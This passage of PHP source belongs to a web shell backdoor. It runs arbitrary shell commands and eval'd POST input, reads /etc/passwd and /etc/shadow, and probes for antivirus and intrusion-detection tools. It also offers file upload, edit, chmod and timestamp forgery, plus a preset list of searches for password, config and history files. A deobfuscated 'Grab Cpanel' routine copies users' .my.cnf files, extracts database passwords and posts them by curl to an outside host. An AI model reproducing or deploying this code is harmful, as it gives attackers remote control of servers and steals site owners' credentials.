            echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t\r\n\t\r\n\t</body></html>";
        }
        if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
            function posix_getpwuid($p)
            {
                return false;
            }
        }
        if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
            function posix_getgrgid($p)
            {
                return false;
            }
        }
        function ex($in)
        {
            $▖ = '';
            if (function_exists('exec')) {
                @exec($in, $▖);
                $▖ = @join("\n", $▖);
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('shell_exec')) {
                $▖ = shell_exec($in);
            } elseif (is_resource($f = @popen($in, "r"))) {
                $▖ = "";
                while (!@feof($f)) {
                    $▖ .= fread($f, 1024);
                }
                pclose($f);
            } else {
                return "\xe2\x86\xb3 Unable to execute command\n";
            }
            return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
        }
        function viewSize($s)
        {
            if ($s >= 1073741824) {
                return sprintf('%1.2f', $s / 1073741824) . ' GB';
            } elseif ($s >= 1048576) {
                return sprintf('%1.2f', $s / 1048576) . ' MB';
            } elseif ($s >= 1024) {
                return sprintf('%1.2f', $s / 1024) . ' KB';
            } else {
                return $s . ' B';
            }
        }
        function perms($p)
        {
            if (($p & 0xc000) == 0xc000) {
                $i = 's';
            } elseif (($p & 0xa000) == 0xa000) {
                $i = 'l';
            } elseif (($p & 0x8000) == 0x8000) {
                $i = '-';
            } elseif (($p & 0x6000) == 0x6000) {
                $i = 'b';
            } elseif (($p & 0x4000) == 0x4000) {
                $i = 'd';
            } elseif (($p & 0x2000) == 0x2000) {
                $i = 'c';
            } elseif (($p & 0x1000) == 0x1000) {
                $i = 'p';
            } else {
                $i = 'u';
            }
            $i .= $p & 0x100 ? 'r' : '-';
            $i .= $p & 0x80 ? 'w' : '-';
            $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
            $i .= $p & 0x20 ? 'r' : '-';
            $i .= $p & 0x10 ? 'w' : '-';
            $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
            $i .= $p & 0x4 ? 'r' : '-';
            $i .= $p & 0x2 ? 'w' : '-';
            $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
            return $i;
        }
        function viewPermsColor($f)
        {
            if (!@is_readable($f)) {
                return '<font color=#2a5ccdd9><b>' . perms(@fileperms($f)) . '</b></font>';
            } elseif (!@is_writable($f)) {
                return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
            } else {
                return '<font color=#ffffff><b>' . perms(@fileperms($f)) . '</b></font>';
            }
        }
        function hardScandir($dir)
        {
            if (function_exists("scandir")) {
                return scandir($dir);
            } else {
                $dh = opendir($dir);
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                return $files;
            }
        }
        function which($p)
        {
            $path = ex('which ' . $p);
            if (!empty($path)) {
                return $path;
            }
            return false;
        }
        function actionRC()
        {
            if (!@$_POST['p1']) {
                $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
                echo serialize($a);
            } else {
                eval($_POST['p1']);
            }
        }
        function prototype($k, $v)
        {
            $_COOKIE[$k] = $v;
            setcookie($k, $v);
        }
        function actionSecInfo()
        {
            hardHeader();
            echo "<h1>Server security information</h1><div class=content>";
            function showSecParam($n, $v)
            {
                $v = trim($v);
                if ($v) {
                    echo '<span>' . $n . ': </span>';
                    if (strpos($v, "\n") === false) {
                        echo $v . '<br>';
                    } else {
                        echo '<pre class=ml1>' . $v . '</pre>';
                    }
                }
            }
            showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
            if (function_exists('apache_get_modules')) {
                showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
            }
            showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
            showSecParam('Open base dir', @ini_get('open_basedir'));
            showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
            showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
            showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
            $temp = array();
            if (function_exists('mysql_get_client_info')) {
                $temp[] = "MySql (" . mysql_get_client_info() . ")";
            }
            if (function_exists('mssql_connect')) {
                $temp[] = "MSSQL";
            }
            if (function_exists('pg_connect')) {
                $temp[] = "PostgreSQL";
            }
            if (function_exists('oci_connect')) {
                $temp[] = "Oracle";
            }
            showSecParam('Supported databases', implode(', ', $temp));
            echo "<br>";
            if ($GLOBALS['os'] == 'nix') {
                showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                showSecParam('OS version', @file_get_contents('/proc/version'));
                showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if (!$GLOBALS['safe_mode']) {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    echo "<br>";
                    $temp = array();
                    foreach ($userful as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Userful', implode(', ', $temp));
                    $temp = array();
                    foreach ($danger as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Danger', implode(', ', $temp));
                    $temp = array();
                    foreach ($downloaders as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Downloaders', implode(', ', $temp));
                    echo "<br/>";
                    showSecParam('HDD space', ex('df -h'));
                    showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                }
            } else {
                showSecParam('OS Version', ex('ver'));
                showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
            }
            echo "</div>";
            hardFooter();
        }
        function actionFilesTools()
        {
            if (isset($_POST['p1'])) {
                $_POST['p1'] = urldecode($_POST['p1']);
            }
            if (@$_POST['p2'] == 'download') {
                if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                    if (function_exists("mime_content_type")) {
                        $type = @mime_content_type($_POST['p1']);
                        header("Content-Type: " . $type);
                    } else {
                        header("Content-Type: application/octet-stream");
                    }
                    $fp = @fopen($_POST['p1'], "r");
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo @fread($fp, 1024);
                        }
                        fclose($fp);
                    }
                }
                exit;
            }
            if (@$_POST['p2'] == 'mkfile') {
                if (!file_exists($_POST['p1'])) {
                    $fp = @fopen($_POST['p1'], 'w');
                    if ($fp) {
                        $_POST['p2'] = "edit";
                        fclose($fp);
                    }
                }
            }
            hardHeader();
            echo "<h1>File tools</h1><div class=content>";
            if (!file_exists(@$_POST['p1'])) {
                echo "File not exists";
                hardFooter();
                return;
            }
            $uid = @posix_getpwuid(@fileowner($_POST['p1']));
            if (!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
            } else {
                $gid = @posix_getgrgid(@filegroup($_POST['p1']));
            }
            echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
            echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
            if (empty($_POST['p2'])) {
                $_POST['p2'] = 'view';
            }
            if (is_file($_POST['p1'])) {
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
            } else {
                $m = array('Chmod', 'Rename', 'Touch');
            }
            foreach ($m as $v) {
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
            }
            echo "<br><br>";
            switch ($_POST['p2']) {
                case 'view':
                    echo "<pre class=ml1>";
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</pre>";
                    break;
                case 'highlight':
                    if (@is_readable($_POST['p1'])) {
                        echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                        $oRb = @highlight_file($_POST['p1'], true);
                        echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                    }
                    break;
                case 'chmod':
                    if (!empty($_POST['p3'])) {
                        $perms = 0;
                        for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                            $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                        }
                        if (!@chmod($_POST['p1'], $perms)) {
                            echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                    break;
                case 'edit':
                    if (!is_writable($_POST['p1'])) {
                        echo "File isn't writeable";
                        break;
                    }
                    if (!empty($_POST['p3'])) {
                        $time = @filemtime($_POST['p1']);
                        $_POST['p3'] = substr($_POST['p3'], 1);
                        $fp = @fopen($_POST['p1'], "w");
                        if ($fp) {
                            @fwrite($fp, $_POST['p3']);
                            @fclose($fp);
                            echo "Saved!<br><script>p3_=\"\";</script>";
                            @touch($_POST['p1'], $time, $time);
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</textarea><input type=submit value=\"submit\"></form>";
                    break;
                case 'hexdump':
                    $c = @file_get_contents($_POST['p1']);
                    $n = 0;
                    $h = array('00000000<br>', '', '');
                    $len = strlen($c);
                    for ($i = 0; $i < $len; ++$i) {
                        $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                        switch (ord($c[$i])) {
                            case 0:
                                $h[2] .= ' ';
                                break;
                            case 9:
                                $h[2] .= ' ';
                                break;
                            case 10:
                                $h[2] .= ' ';
                                break;
                            case 13:
                                $h[2] .= ' ';
                                break;
                            default:
                                $h[2] .= $c[$i];
                                break;
                        }
                        $n++;
                        if ($n == 32) {
                            $n = 0;
                            if ($i + 1 < $len) {
                                $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                            }
                            $h[1] .= '<br>';
                            $h[2] .= "\n";
                        }
                    }
                    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#000000><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                    break;
                case 'rename':
                    if (!empty($_POST['p3'])) {
                        if (!@rename($_POST['p1'], $_POST['p3'])) {
                            echo "Can't rename!<br>";
                        } else {
                            die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                    break;
                case 'touch':
                    if (!empty($_POST['p3'])) {
                        $time = strtotime($_POST['p3']);
                        if ($time) {
                            if (!touch($_POST['p1'], $time, $time)) {
                                echo "Fail!";
                            } else {
                                echo "Touched!";
                            }
                        } else {
                            echo "Bad time format!";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                    break;
                /* (С) 12.2015 mitryz */
                case 'frame':
                    $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                    if ($frameSrc[0] != '/') {
                        $frameSrc = '/' . $frameSrc;
                    }
                    if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                        $frameSrc .= '/';
                    }
                    $frameSrc .= htmlspecialchars($_POST['p1']);
                    echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                    break;
            }
            echo "</div>";
            hardFooter();
        }
        if ($os == 'win') {
            $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
        } else {
            $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
        }
        function actionConsole()
        {
            if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                $_POST['p1'] .= ' 2>&1';
            } elseif (!empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
            }
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
                if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                    if (@chdir($match[1])) {
                        $GLOBALS['cwd'] = @getcwd();
                        echo "c_='" . $GLOBALS['cwd'] . "';";
                    }
                }
                echo "d.cf.output.value+='" . $temp . "';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
            echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
            foreach ($GLOBALS['aliases'] as $n => $v) {
                if ($v == '') {
                    echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                    continue;
                }
                echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
            }
            echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
            if (!empty($_POST['p1'])) {
                echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
            }
            echo "</textarea><table style=\"border:1px solid #000000;background-color:#000000;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
            echo "</form></div><script>d.cf.cmd.focus();</script>";
            hardFooter();
        }
        function actionbypas()
        {
            hardHeader();
            echo "<center><h1>Bypass Tools</h1><div class=content><br>";
            echo "<th><a href='#' onclick='g(\"passw\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> >>> Bypass: /etc/passwd <<< </a></th><p>";
            echo "<th><a href='#' onclick='g(\"disable\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> >>> Bypass: Disbaled Functions <<< </a></th>";
            echo "</div>";
            hardFooter();
        }
        function actionpassw()
        {
            hardHeader();
            echo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?passwd' width='900' height='400'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actiondisable()
        {
            hardHeader();
            echo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?disabled' width='900' height='300'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionPhp()
        {
            hardHeader();
            echo "<center><h1>Grab Cpanel</h1><div class=content><br>";
            $hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";
            eval /* PHPDeobfuscator eval output */ {
                @ini_set('display_errors', 0);
                function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
                {
                    $ar0 = explode($marqueurDebutLien, $text);
                    $ar1 = explode($marqueurFinLien, $ar0[$i]);
                    return trim($ar1[0]);
                }
                echo "<br><br>";
                echo "<center>";
                $d0mains = @file('/etc/named.conf');
                $domains = scandir("/var/named");
                if ($domains or $d0mains) {
                    $domains = scandir("/var/named");
                    if ($domains) {
                        echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
                        $count = 1;
                        $dc = 0;
                        $list = scandir("/var/named");
                        foreach ($list as $domain) {
                            if (strpos($domain, ".db")) {
                                $domain = str_replace('.db', '', $domain);
                                $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                                $dirz = '/home/' . $owner['name'] . '/.my.cnf';
                                $path = getcwd();
                                if (is_readable($dirz)) {
                                    copy($dirz, '' . $path . '/' . $owner['name'] . '.txt');
                                    $p = file_get_contents('' . $path . '/' . $owner['name'] . '.txt');
                                    $password = entre2v2($p, 'password="', '"');
                                    echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner['name'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner['name'] . ".txt target=_blank>Click Here</a></td></tr>";
                                    $dc++;
                                    $success3 = "http://" . $domain . "|" . $owner['name'] . "|" . $password . "\n";
                                    $ch = curl_init();
                                    curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");
                                    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
                                    curl_setopt($ch, CURLOPT_POST, 1);
                                    curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));
                                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                    curl_setopt($ch, CURLOPT_HEADER, 1);
                                    $buffer = curl_exec($ch);
                                }
                            }
                        }
                        echo "</table>";
                        $total = $dc;
                        echo "</center>";
                    } else {
                        $d0mains = @file('/etc/named.conf');
                        if ($d0mains) {
